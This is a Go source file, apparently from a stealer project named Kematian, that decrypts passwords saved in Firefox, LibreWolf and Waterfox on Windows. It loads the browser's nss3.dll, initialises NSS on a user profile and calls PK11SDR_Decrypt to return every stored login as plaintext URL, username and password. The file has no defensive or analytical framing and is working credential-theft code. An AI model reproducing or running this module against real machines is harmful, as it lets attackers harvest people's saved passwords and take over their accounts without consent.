Files
Kematian-Standalone/native/recovery/firefox/nss_windows.go
T
2026-08-27 11:21:43 -06:00

139 lines
3.1 KiB
Go

//go:build windows
package firefox
import (
"encoding/base64"
"os"
"path/filepath"
"strings"
"syscall"
"unsafe"
"recovery/recovery/types"
)
type secItem struct {
ItemType uint32
Data *byte
Len uint32
}
var nssInstallDirs = map[string][]string{
"Firefox": {`C:\Program Files\Mozilla Firefox`, `C:\Program Files (x86)\Mozilla Firefox`},
"LibreWolf": {`C:\Program Files\LibreWolf`, `C:\Program Files (x86)\LibreWolf`},
"Waterfox": {`C:\Program Files\Waterfox`, `C:\Program Files (x86)\Waterfox`},
}
func findNSSDir(browserName string) string {
dirs := nssInstallDirs[browserName]
if dirs == nil {
dirs = nssInstallDirs["Firefox"]
}
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
for _, dirs := range nssInstallDirs {
for _, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "nss3.dll")); err == nil {
return dir
}
}
}
return ""
}
func nssDecryptLogins(profilePath, browserName string, logins []firefoxLogin) []types.PasswordResult {
nssDir := findNSSDir(browserName)
if nssDir == "" {
logf("firefox NSS: nss3.dll not found for %s", browserName)
return nil
}
oldPath := os.Getenv("PATH")
os.Setenv("PATH", nssDir+";"+oldPath)
defer os.Setenv("PATH", oldPath)
nss3dll, err := syscall.LoadDLL(filepath.Join(nssDir, "nss3.dll"))
if err != nil {
logf("firefox NSS: failed to load nss3.dll: %v", err)
return nil
}
defer nss3dll.Release()
nssInit, err := nss3dll.FindProc("NSS_Init")
if err != nil {
return nil
}
pk11SDRDecrypt, err := nss3dll.FindProc("PK11SDR_Decrypt")
if err != nil {
return nil
}
nssShutdown, _ := nss3dll.FindProc("NSS_Shutdown")
portFree, _ := nss3dll.FindProc("PORT_Free")
profileBytes, err := syscall.BytePtrFromString(profilePath)
if err != nil {
return nil
}
ret, _, callErr := nssInit.Call(uintptr(unsafe.Pointer(profileBytes)))
if ret != 0 {
logf("firefox NSS: NSS_Init failed for %s: %v", profilePath, callErr)
return nil
}
defer func() {
if nssShutdown != nil {
nssShutdown.Call()
}
}()
var results []types.PasswordResult
for _, login := range logins {
username := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedUsername)
password := nssDecrypt(pk11SDRDecrypt, portFree, login.EncryptedPassword)
results = append(results, types.PasswordResult{
URL: login.Hostname,
Username: username,
Password: password,
})
}
return results
}
func nssDecrypt(pk11SDRDecrypt, portFree *syscall.Proc, b64 string) string {
b64 = strings.TrimSpace(b64)
if b64 == "" {
return ""
}
encBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil || len(encBytes) == 0 {
return ""
}
encItem := secItem{Data: &encBytes[0], Len: uint32(len(encBytes))}
var decItem secItem
ret, _, _ := pk11SDRDecrypt.Call(
uintptr(unsafe.Pointer(&encItem)),
uintptr(unsafe.Pointer(&decItem)),
0,
)
if ret != 0 || decItem.Data == nil || decItem.Len == 0 || decItem.Len > 1*1024*1024 {
return ""
}
decBytes := unsafe.Slice(decItem.Data, decItem.Len)
result := string(decBytes)
if portFree != nil {
portFree.Call(uintptr(unsafe.Pointer(decItem.Data)))
}
return result
}